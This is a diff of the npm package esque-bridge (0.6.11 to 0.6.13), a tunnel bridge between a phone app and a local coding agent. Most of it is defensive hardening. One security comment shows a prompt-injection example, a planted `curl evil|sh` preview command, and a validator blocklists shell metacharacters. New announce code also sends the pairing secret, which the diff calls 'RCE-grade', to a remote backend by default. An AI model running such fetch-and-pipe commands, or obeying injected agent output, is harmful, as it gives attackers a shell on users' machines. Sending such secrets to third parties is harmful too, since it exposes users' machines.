esque-bridge 0.6.11 → 0.6.13

package/index.js

@@ -92,6 +92,12 @@ const BIN_OVERRIDE = argv.bin || null;
 const LT_SUBDOMAIN = argv.subdomain || process.env.LT_SUBDOMAIN || undefined;
 const SESSIONS_FILE = path.join(os.homedir(), '.esque-bridge-sessions.json');
 const SECRET_FILE = path.join(os.homedir(), '.esque-bridge-secret');
+// Where to announce the current tunnel URL so the phone can rediscover it
+// after a restart rotates the cloudflared URL. Best-effort — QR pairing works
+// without it. Override for self-hosters via --backend / ESQUE_BACKEND_URL.
+const BACKEND_URL = String(
+  argv.backend || process.env.ESQUE_BACKEND_URL || 'https://esque-backend-production.up.railway.app',
+).replace(/\/+$/, '');
 
 // Pairing secret. Persisted across restarts so a routine bridge restart
 // doesn't silently invalidate the phone's pairing (the #1 real-world
@@ -110,6 +116,9 @@ function resolvePairingSecret() {
   const secret = gen();
   try {
     fs.writeFileSync(SECRET_FILE, secret, { mode: 0o600 });
+    // Re-assert perms explicitly (writeFileSync mode is masked by umask, and a
+    // pre-existing file keeps its old perms) — this is an RCE-grade secret.
+    try { fs.chmodSync(SECRET_FILE, 0o600); } catch { /* best effort */ }
   } catch (err) {
     console.warn(
       `[esque-bridge] could not persist pair secret to ${SECRET_FILE} ` +
@@ -549,10 +558,77 @@ app.use((req, res, next) => {
   next();
 });
 
+// The current public tunnel host, set once the pair tunnel opens (see main).
+let currentTunnelHost = null;
+
+// DNS-rebinding guard. Legit traffic arrives either at localhost (local dev) or
+// via the cloudflared/localtunnel host; a malicious web page that rebinds its
+// OWN domain to 127.0.0.1:<port> cannot forge a matching Host header, so this
+// blocks it from reaching even the unauthenticated probes (which would
+// otherwise disclose the workdir folder name etc.).
+const LOCAL_HOST_RE = /^(localhost|127\.0\.0\.1|\[::1\])(:\d+)?$/i;
+const TUNNEL_HOST_RE = /\.(trycloudflare\.com|loca\.lt)(:\d+)?$/i;
+app.use((req, res, next) => {
+  const host = String(req.headers.host || '');
+  if (
+    LOCAL_HOST_RE.test(host) ||
+    TUNNEL_HOST_RE.test(host) ||
+    (currentTunnelHost && host === currentTunnelHost)
+  ) {
+    return next();
+  }
+  return res.status(403).json({ error: 'forbidden_host' });
+});
+
+// Real client IP behind the tunnel (cloudflared/localtunnel forward it) so the
+// auth throttle is per-attacker, not global (which an attacker could otherwise
+// abuse to lock out the legit phone).
+function clientIp(req) {
+  return (
+    req.headers['cf-connecting-ip'] ||
+    String(req.headers['x-forwarded-for'] || '').split(',')[0].trim() ||
+    req.ip ||
+    req.socket?.remoteAddress ||
+    'unknown'
+  );
+}
+
+// Constant-time secret check (avoid a string-compare timing side-channel — the
+// secret is the only thing standing between the public tunnel and your shell).
+function secretMatches(provided) {
+  if (typeof provided !== 'string' || provided.length === 0) return false;
+  const a = Buffer.from(provided);
+  const b = Buffer.from(PAIRING_SECRET);
+  return a.length === b.length && crypto.timingSafeEqual(a, b);
+}
+
+// Per-IP failed-auth throttle: 128-bit secrets are infeasible to brute force,
+// but a lockout makes that hold even if the entropy ever drops, and stops a
+// noisy guesser hammering the bridge.
+const authFails = new Map();
+const AUTH_FAIL_MAX = 20;
+const AUTH_FAIL_WINDOW = 60_000;
+function authThrottled(ip) {
+  const now = Date.now();
+  const e = authFails.get(ip);
+  return !!e && e.resetAt > now && e.n >= AUTH_FAIL_MAX;
+}
+function noteAuthFail(ip) {
+  const now = Date.now();
+  if (authFails.size > 5000) for (const [k, v] of authFails) if (v.resetAt <= now) authFails.delete(k);
+  const e = authFails.get(ip);
+  if (!e || e.resetAt <= now) authFails.set(ip, { n: 1, resetAt: now + AUTH_FAIL_WINDOW });
+  else e.n += 1;
+}
+
 // Directory identity the app binds a project to. Lets the phone detect when a
-// project is being re-pointed at a DIFFERENT folder, or scaffolded fresh onto
-// a folder that already has files — the two silent-mismatch foot-guns.
-function workdirInfo() {
+// project is being re-pointed at a DIFFERENT folder. UNAUTHENTICATED callers
+// get only the folder NAME + version — never the absolute path (it leaks the OS
+// username) or the directory contents.
+function workdirInfo(authed) {
+  if (!authed) {
+    return { workdirName: path.basename(WORKDIR), version: BRIDGE_VERSION };
+  }
   let empty = false;
   let git = false;
   let entries = -1;
@@ -570,42 +646,42 @@ function workdirInfo() {
     empty,
     git,
     entries,
-    // Lets the app detect a stale bridge and say "restart your bridge"
-    // instead of silently degrading (older bridges lack newer self-healing).
     version: BRIDGE_VERSION,
   };
 }
 
-// Public health probe.
+// Public health probe — minimal, unauthenticated.
 app.get('/', (_req, res) => {
   res.json({
     ok: true,
     service: 'esque-bridge',
     agent: AGENT_TYPE,
     agentLabel: adapter.label,
-    sessions: Object.keys(sessionMap[AGENT_TYPE] ?? {}).length,
-    ...workdirInfo(),
+    ...workdirInfo(false),
   });
 });
 
-// Connection-test probe — no auth required to confirm reachability, but if
-// the phone includes the pair secret we validate it and report back via
-// `paired` so the app can verify the secret BEFORE showing a green
-// "Paired" state. `paired` is true (match), false (wrong/stale secret), or
-// null (no secret sent — older app builds; we can't say either way). We also
-// return workdir identity so the app can warn on a folder mismatch.
+// Connection-test probe — no auth required to confirm reachability, but if the
+// phone includes the pair secret we validate it and report `paired` so the app
+// can verify BEFORE showing green. Full workdir identity (path, git, entries)
+// is returned ONLY when the secret matches (paired === true).
 app.post('/', (req, res, next) => {
   if (req.body && req.body._probe === true) {
     const provided = req.header('x-esque-pair') || req.body?.pairSecret;
-    const paired = provided == null ? null : provided === PAIRING_SECRET;
-    return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo() });
+    const paired = provided == null ? null : secretMatches(provided);
+    return res.json({ ok: true, service: 'esque-bridge', agent: AGENT_TYPE, paired, ...workdirInfo(paired === true) });
   }
   return next();
 });
 
 function requireAuth(req, res, next) {
+  const ip = clientIp(req);
+  if (authThrottled(ip)) {
+    return res.status(429).json({ text: 'Too many attempts — wait a minute and try again.', status: 'blocked' });
+  }
   const provided = req.header('x-esque-pair') || req.body?.pairSecret;
-  if (provided !== PAIRING_SECRET) {
+  if (!secretMatches(provided)) {
+    noteAuthFail(ip);
     return res.status(401).json({
       text:
         'Unauthorized. Pair this bridge with your phone by scanning the QR code from the terminal where esque-bridge is running.',
@@ -638,7 +714,30 @@ let preview = null; // { port, proc, kind, url, tunnel, tunnelProc }
 // revive the dev server + mint a fresh tunnel — the phone then resolves the
 // current URL via GET /preview instead of trusting the dead one.
 const PREVIEWS_FILE = path.join(os.homedir(), '.esque-bridge-previews.json');
+
+// SECURITY: the preview command comes from the agent's reply (the ESQUE_PREVIEW
+// marker) and is run via `sh -c` — and persisted + auto-replayed on every
+// restart. Without a guard, a single prompt could plant
+// `ESQUE_PREVIEW: curl evil|sh` as a persistent, headless RCE. So we only ever
+// run/persist a command that looks like a real dev-server start: each
+// `&&`-separated step must begin with an allowlisted tool, and the whole
+// string must be free of pipes, redirects, sequencing, subshells, and command
+// substitution (we DO allow `&&` chaining and flags). This bounds it to the
+// shapes the blueprints actually emit (npm/npx expo/next/vite) and rejects the
+// arbitrary-shell case.
+const PREVIEW_TOOL = /^(npm|npx|yarn|pnpm|bun|expo|next|vite|node)(\s|$)/;
+function isSafePreviewCmd(cmd) {
+  if (typeof cmd !== 'string' || cmd.length === 0 || cmd.length > 400) return false;
+  if (/[\n\r;`|<>]/.test(cmd)) return false;      // sequencing/pipe/redirect/backtick
+  if (/\$\(|\$\{/.test(cmd)) return false;         // command/var substitution
+  if (/(^|[^&])&($|[^&])/.test(cmd)) return false; // a lone & (background); && is allowed
+  const steps = cmd.split('&&').map((s) => s.trim()).filter(Boolean);
+  if (steps.length === 0 || steps.length > 6) return false;
+  return steps.every((s) => PREVIEW_TOOL.test(s));
+}
+
 function savePreviewCmd(cmd, port) {
+  if (!isSafePreviewCmd(cmd)) return; // never persist an un-vettable command
   try {
     let all = {};
     try { all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8')); } catch { /* first run */ }
@@ -652,7 +751,9 @@ function loadPreviewCmd() {
   try {
     const all = JSON.parse(fs.readFileSync(PREVIEWS_FILE, 'utf8'));
     const e = all[WORKDIR];
-    if (e && typeof e.cmd === 'string' && Number.isInteger(e.port)) return e;
+    // Re-validate on read too — a hand-edited or pre-guard previews file must
+    // not auto-replay something unsafe on boot.
+    if (e && isSafePreviewCmd(e.cmd) && Number.isInteger(e.port)) return e;
   } catch { /* none saved */ }
   return null;
 }
@@ -938,6 +1039,12 @@ async function ensureDeps() {
 
 async function startPreview(cmd, port) {
   killPreview();
+  // SECURITY: refuse any preview command that isn't a recognizable dev-server
+  // start (see isSafePreviewCmd) — never hand arbitrary shell to `sh -c`.
+  if (!isSafePreviewCmd(cmd)) {
+    console.error(`[preview] refused unsafe preview command: ${String(cmd).slice(0, 120)}`);
+    return { url: null, buildError: 'Esque only runs a recognized dev-server start command for the preview (npm/expo/next/vite). The requested command was refused for safety.' };
+  }
   // Make sure node_modules exists before the dev server tries to boot. A
   // failed install IS the build error — surface the npm cause to the phone
   // (and the auto-fix loop, which can repair package.json) instead of letting
@@ -1448,6 +1555,8 @@ async function main() {
   if (tunnel.kind === 'localtunnel') {
     console.log('  (Using localtunnel — install cloudflared for a faster, steadier tunnel: brew install cloudflared)');
   }
+  // Allow this tunnel's host through the DNS-rebinding guard.
+  try { currentTunnelHost = new URL(tunnel.url).host; } catch { /* keep null */ }
 
   const pairUrl = `esque://pair?url=${encodeURIComponent(tunnel.url)}&secret=${PAIRING_SECRET}&agent=${AGENT_TYPE}`;
 
@@ -1477,21 +1586,55 @@ async function main() {
   // after a restart (the app asks GET /preview for the fresh URL).
   if (loadPreviewCmd()) revivePreview();
 
+  // Announce this tunnel URL to the backend, keyed by the persistent secret,
+  // so the phone can rediscover it after a restart rotates the URL — then
+  // refresh on a heartbeat so the mapping never expires while we're alive.
+  // Entirely best-effort: a down/unreachable backend never affects pairing or
+  // prompts (the QR already carries this URL for the current session).
+  const announce = async () => {
+    try {
+      await fetch(`${BACKEND_URL}/v1/bridge/announce`, {
+        method: 'POST',
+        headers: { 'content-type': 'application/json' },
+        body: JSON.stringify({ secret: PAIRING_SECRET, url: tunnel.url, agent: AGENT_TYPE }),
+        signal: AbortSignal.timeout(8000),
+      });
+    } catch {
+      /* best-effort rendezvous */
+    }
+  };
+  announce();
+  const announceTimer = setInterval(announce, 45_000);
+  announceTimer.unref?.();
+
   let shuttingDown = false;
   const shutdown = (signal) => {
     shuttingDown = true;
     console.log(`\n  Received ${signal} — closing tunnel…`);
+    clearInterval(announceTimer);
     // The agent runs detached in its own process group, so the terminal's
     // Ctrl-C does NOT reach it — stop it explicitly or it keeps editing
     // files with no bridge attached.
     try { activeAgentKill && activeAgentKill('SIGTERM'); } catch { /* already gone */ }
     killPreview();
+    // Best-effort deregister so the phone learns we're down right away rather
+    // than after the rendezvous TTL. Fire-and-forget — don't delay exit on it.
+    try {
+      fetch(`${BACKEND_URL}/v1/bridge/forget`, {
+        method: 'POST',
+        headers: { 'content-type': 'application/json' },
+        body: JSON.stringify({ secret: PAIRING_SECRET }),
+        signal: AbortSignal.timeout(2000),
+      }).catch(() => undefined);
+    } catch { /* ignore */ }
     try {
       tunnel.close();
     } catch {
       /* tunnel may already be closed */
     }
-    process.exit(0);
+    // Give the forget() a brief moment to flush, then exit regardless.
+    setTimeout(() => process.exit(0), 250);
+    return;
   };
   process.on('SIGINT', () => shutdown('SIGINT'));
   process.on('SIGTERM', () => shutdown('SIGTERM'));

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "esque-bridge",
-  "version": "0.6.11",
+  "version": "0.6.13",
   "description": "Desktop-side receiver for the Esque Agent mobile app. Pairs your phone with a local coding-agent CLI (Claude Code, Codex, Aider, or any custom command) via a tunnel + QR code, so prompts run through your subscription instead of per-token API billing.",
   "bin": {
     "esque-bridge": "index.js"